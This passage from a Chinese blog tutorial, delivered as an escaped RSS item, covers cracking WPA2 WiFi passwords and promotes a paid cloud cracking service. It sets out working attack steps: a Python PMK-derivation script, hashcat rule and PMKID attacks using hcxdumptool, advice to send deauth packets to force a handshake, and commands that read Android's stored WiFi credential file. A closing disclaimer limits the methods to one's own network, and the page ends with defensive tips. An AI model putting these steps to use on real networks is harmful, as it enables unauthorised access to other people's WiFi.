&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">scapy.all&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">hashlib&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">pbkdf2_hmac&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">hmac&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nn">struct&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">verify_wpa_password&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cap_file&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ssid&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;验证一个密码是否是正确的 WPA2 密码&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># 从 cap 文件读取握手包&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">packets&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">rdpcap&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cap_file&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># 计算 PMK (Pairwise Master Key)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pmk&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pbkdf2_hmac&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;sha1&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="n">ssid&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="mi">4096&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">32&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;测试密码: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;PMK: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">pmk&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># 实际验证需要完整的握手数据和 PTK 推导&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># 这里简化展示，完整实现较复杂&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">pmk&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># WiFi 密码通常是 8-63 位的 ASCII 字符&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ssid&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;MyHomeWiFi&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">test_passwords&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;password123&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;wifi1234&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;home2024&amp;#34;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">pwd&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">test_passwords&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">verify_wpa_password&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;capture-01.cap&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">pwd&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ssid&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="方法-5云端在线恢复服务">方法 5：云端在线恢复服务&lt;/h3>
&lt;p>如果不想自己配置环境或本地算力不足，可以把 cap 文件交给云端服务处理：&lt;/p>
&lt;p>&lt;strong>&lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网 (Catpasswd)&lt;/a>&lt;/strong> 支持 WPA/WPA2 握手包（.cap 文件）的密码恢复。&lt;/p>
&lt;h4 id="优势">优势&lt;/h4>
&lt;ul>
&lt;li>&lt;strong>无需安装 aircrack-ng 等工具&lt;/strong>：直接上传 cap 文件即可&lt;/li>
&lt;li>&lt;strong>云端千万级字典&lt;/strong>：覆盖了大量常见 WiFi 密码组合，包括：
&lt;ul>
&lt;li>常见 WiFi 密码（如 12345678、88888888）&lt;/li>
&lt;li>手机号组合&lt;/li>
&lt;li>拼音 + 数字组合&lt;/li>
&lt;li>各地区的常见密码模式&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>分布式算力&lt;/strong>：比单台电脑快数十倍&lt;/li>
&lt;li>&lt;strong>文件小&lt;/strong>：cap 文件通常只有几 KB 到几 MB，上传很快&lt;/li>
&lt;/ul>
&lt;h4 id="使用流程">使用流程&lt;/h4>
&lt;ol>
&lt;li>按上面的步骤抓取握手包得到 .cap 文件&lt;/li>
&lt;li>访问 &lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a> → &lt;a class="link" href="https://www.catpasswd.com/recovery" target="_blank" rel="noopener"
>上传文件&lt;/a>&lt;/li>
&lt;li>上传 .cap 文件，填写邮箱&lt;/li>
&lt;li>系统自动分析握手包有效性并开始密码恢复&lt;/li>
&lt;li>成功后邮件通知&lt;/li>
&lt;/ol>
&lt;blockquote>
&lt;p>💡 &lt;strong>小技巧&lt;/strong>：如果你不确定抓到的 cap 文件是否包含有效的握手数据，可以直接上传到猫密网，系统会自动检测。如果握手包无效，不会开始恢复也不会收费。&lt;/p>
&lt;/blockquote>
&lt;h2 id="提高-wifi-密码恢复成功率的技巧">提高 WiFi 密码恢复成功率的技巧&lt;/h2>
&lt;h3 id="1-使用高质量-wifi-专用字典">1. 使用高质量 WiFi 专用字典&lt;/h3>
&lt;p>通用字典（如 rockyou.txt）的 WiFi 密码覆盖率不高。推荐使用专门的 WiFi 密码字典：&lt;/p>
&lt;ul>
&lt;li>&lt;strong>WiFi-Password-List&lt;/strong>：GitHub 上有专门的 WiFi 常见密码合集&lt;/li>
&lt;li>&lt;strong>国内常见 WiFi 密码&lt;/strong>：88888888、12345678、手机号后8位等&lt;/li>
&lt;li>&lt;strong>自定义字典&lt;/strong>：根据你对设置者的了解生成可能的密码&lt;/li>
&lt;/ul>
&lt;h3 id="2-常见-wifi-密码模式">2. 常见 WiFi 密码模式&lt;/h3>
&lt;p>中国人设置 WiFi 密码最常见的模式：&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>模式&lt;/th>
&lt;th>示例&lt;/th>
&lt;th>频率&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>8位纯数字&lt;/td>
&lt;td>12345678、88888888&lt;/td>
&lt;td>⭐⭐⭐⭐⭐&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>手机号&lt;/td>
&lt;td>13812345678&lt;/td>
&lt;td>⭐⭐⭐⭐&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>拼音+数字&lt;/td>
&lt;td>woaini520、zhangwei123&lt;/td>
&lt;td>⭐⭐⭐&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>门牌号+楼号&lt;/td>
&lt;td>1602dong、501hao&lt;/td>
&lt;td>⭐⭐&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>英文名+年份&lt;/td>
&lt;td>michael2020&lt;/td>
&lt;td>⭐⭐&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="3-利用规则攻击">3. 利用规则攻击&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 创建一个规则文件 wifi.rule&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cat &amp;gt; wifi.rule &lt;span class="s">&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">$1 $2 $3 $4 $5 $6 $7 $8
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">$8 $8 $8 $8 $8 $8 $8 $8
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">$1 $2 $3 $4 $5 $6 $7 $8 $9 $0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">^[Ww]ifi
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">^$1$2$3$4
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">EOF&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 使用规则攻击&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">22000&lt;/span> -a &lt;span class="m">0&lt;/span> wifi_hash.hc22000 common_words.txt -r wifi.rule
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="4-pmkid-攻击无需握手的新方法">4. PMKID 攻击（无需握手的新方法）&lt;/h3>
&lt;p>WPA2 有一个较新的攻击向量——PMKID，不需要等待设备握手：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 使用 hcxdumptool 抓取 PMKID&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo hcxdumptool -i wlan0mon -o pmkid_capture.pcapng --enable_status&lt;span class="o">=&lt;/span>&lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 等待几分钟，如果路由器支持 PMKID，会自动获取&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 然后转换并破解&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hcxpcapngtool -o pmkid.hc22000 pmkid_capture.pcapng
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">22000&lt;/span> -a &lt;span class="m">0&lt;/span> pmkid.hc22000 wordlist.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;strong>PMKID 的优势&lt;/strong>：不需要有设备在线，只要路由器开着就行。&lt;/p>
&lt;h2 id="各方法对比">各方法对比&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>方法&lt;/th>
&lt;th>速度&lt;/th>
&lt;th>难度&lt;/th>
&lt;th>需要 GPU&lt;/th>
&lt;th>适合场景&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>aircrack-ng&lt;/td>
&lt;td>慢&lt;/td>
&lt;td>中&lt;/td>
&lt;td>否&lt;/td>
&lt;td>简单字典攻击&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Hashcat&lt;/td>
&lt;td>极快&lt;/td>
&lt;td>高&lt;/td>
&lt;td>是&lt;/td>
&lt;td>专业破解&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Pyrit&lt;/td>
&lt;td>快&lt;/td>
&lt;td>中&lt;/td>
&lt;td>可选&lt;/td>
&lt;td>PMK 预计算&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Python 脚本&lt;/td>
&lt;td>慢&lt;/td>
&lt;td>高&lt;/td>
&lt;td>否&lt;/td>
&lt;td>学习原理&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a>&lt;/td>
&lt;td>快&lt;/td>
&lt;td>极低&lt;/td>
&lt;td>否&lt;/td>
&lt;td>普通用户&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="各品牌路由器能从管理页面查看密码吗">各品牌路由器能从管理页面查看密码吗？&lt;/h2>
&lt;p>如果你还能登录路由器管理页面，某些路由器可以直接查看 WiFi 密码：&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>品牌&lt;/th>
&lt;th>管理页面地址&lt;/th>
&lt;th>查看路径&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>TP-Link&lt;/td>
&lt;td>192.168.0.1 或 192.168.1.1&lt;/td>
&lt;td>无线设置 → 无线安全设置&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>小米&lt;/td>
&lt;td>192.168.31.1&lt;/td>
&lt;td>常用设置 → WiFi 设置&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>华为&lt;/td>
&lt;td>192.168.3.1&lt;/td>
&lt;td>我的 WiFi → 查看密码&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>华硕&lt;/td>
&lt;td>192.168.1.1&lt;/td>
&lt;td>无线网络 → 一般设置&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OpenWrt&lt;/td>
&lt;td>192.168.1.1&lt;/td>
&lt;td>Network → Wireless → Edit&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;blockquote>
&lt;p>💡 &lt;strong>小技巧&lt;/strong>：即使管理页面密码显示为星号（***），也可以在浏览器开发者工具中查看明文。右键点击密码框 → 检查元素 → 将 &lt;code>type=&amp;quot;password&amp;quot;&lt;/code> 改为 &lt;code>type=&amp;quot;text&amp;quot;&lt;/code>。&lt;/p>
&lt;/blockquote>
&lt;h2 id="常见问题">常见问题&lt;/h2>
&lt;h3 id="q-抓到的-cap-文件显示0-handshakes怎么办">Q: 抓到的 cap 文件显示&amp;quot;0 handshakes&amp;quot;怎么办？&lt;/h3>
&lt;p>说明没有抓到完整的四次握手。解决方法：&lt;/p>
&lt;ol>
&lt;li>确保有设备连接到目标 WiFi&lt;/li>
&lt;li>多发送几次 deauth 包强制重连&lt;/li>
&lt;li>尝试更长的抓取时间&lt;/li>
&lt;li>试试 PMKID 方法（不需要握手）&lt;/li>
&lt;/ol>
&lt;h3 id="q-wpa3-能破解吗">Q: WPA3 能破解吗？&lt;/h3>
&lt;p>WPA3 大幅增强了安全性：&lt;/p>
&lt;ul>
&lt;li>使用 SAE（Simultaneous Authentication of Equals）替代 PSK&lt;/li>
&lt;li>防离线字典攻击&lt;/li>
&lt;li>目前没有已知的有效破解方法&lt;/li>
&lt;/ul>
&lt;p>如果你的 WiFi 是 WPA3 加密，目前基本无法离线破解。&lt;/p>
&lt;h3 id="q-内置笔记本网卡能抓握手包吗">Q: 内置笔记本网卡能抓握手包吗？&lt;/h3>
&lt;p>大多数内置网卡&lt;strong>不支持监听模式&lt;/strong>，无法抓取握手包。建议购买支持监听模式的外置 USB 无线网卡（50-200 元），或直接使用 &lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a> 上传已有的 cap 文件进行恢复。&lt;/p>
&lt;h3 id="q-5ghz-和-24ghz-频段的-wifi-抓包有区别吗">Q: 5GHz 和 2.4GHz 频段的 WiFi 抓包有区别吗？&lt;/h3>
&lt;p>抓取方法相同，但需要注意：&lt;/p>
&lt;ul>
&lt;li>无线网卡必须支持对应频段&lt;/li>
&lt;li>5GHz 的信道更多，扫描时间可能更长&lt;/li>
&lt;li>部分双频路由器在不同频段使用相同密码，可以从任一频段抓取&lt;/li>
&lt;/ul>
&lt;h3 id="q-从手机上已经连接的-wifi-能导出密码吗">Q: 从手机上已经连接的 WiFi 能导出密码吗？&lt;/h3>
&lt;p>可以。已 root 的 Android 手机：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># WiFi 密码保存在以下文件中&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cat /data/misc/wifi/WifiConfigStore.xml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 或 Android 10+&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cat /data/misc/apexdata/com.android.wifi/WifiConfigStore.xml
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>iPhone 可以通过 iCloud 钥匙串同步，在 Mac 的&amp;quot;钥匙串访问&amp;quot;中查看。&lt;/p>
&lt;h2 id="安全防护建议">安全防护建议&lt;/h2>
&lt;p>既然你了解了 WiFi 密码的破解方式，也应该知道如何保护自己的网络：&lt;/p>
&lt;ol>
&lt;li>&lt;strong>使用 WPA3&lt;/strong>：如果路由器支持，优先使用 WPA3 加密&lt;/li>
&lt;li>&lt;strong>设置强密码&lt;/strong>：12 位以上，混合大小写 + 数字 + 特殊字符&lt;/li>
&lt;li>&lt;strong>禁用 WPS&lt;/strong>：WPS 存在已知漏洞，容易被绕过&lt;/li>
&lt;li>&lt;strong>关闭 PMKID&lt;/strong>：在路由器设置中关闭（如果支持）&lt;/li>
&lt;li>&lt;strong>定期更换密码&lt;/strong>：尤其是当不信任的设备连接过你的网络时&lt;/li>
&lt;li>&lt;strong>使用访客网络&lt;/strong>：为访客设置独立的 WiFi 网络，与主网络隔离&lt;/li>
&lt;/ol>
&lt;h2 id="总结">总结&lt;/h2>
&lt;p>WiFi 密码恢复的核心步骤是：&lt;/p>
&lt;ol>
&lt;li>&lt;strong>先检查路由器管理页面&lt;/strong>：可能直接看到密码&lt;/li>
&lt;li>&lt;strong>检查手机/电脑已保存的 WiFi 密码&lt;/strong>：Android、iOS、Windows、macOS 都可以查看&lt;/li>
&lt;li>&lt;strong>抓取握手包&lt;/strong>：使用 aircrack-ng 套件&lt;/li>
&lt;li>&lt;strong>破解密码&lt;/strong>：Hashcat（最快）、aircrack-ng（最简单）、&lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a>（最省心）&lt;/li>
&lt;/ol>
&lt;p>记住，本文所有方法仅限恢复自己拥有的 WiFi 网络密码。保护网络安全，从设置一个强密码开始。&lt;/p></description></item></channel></rss>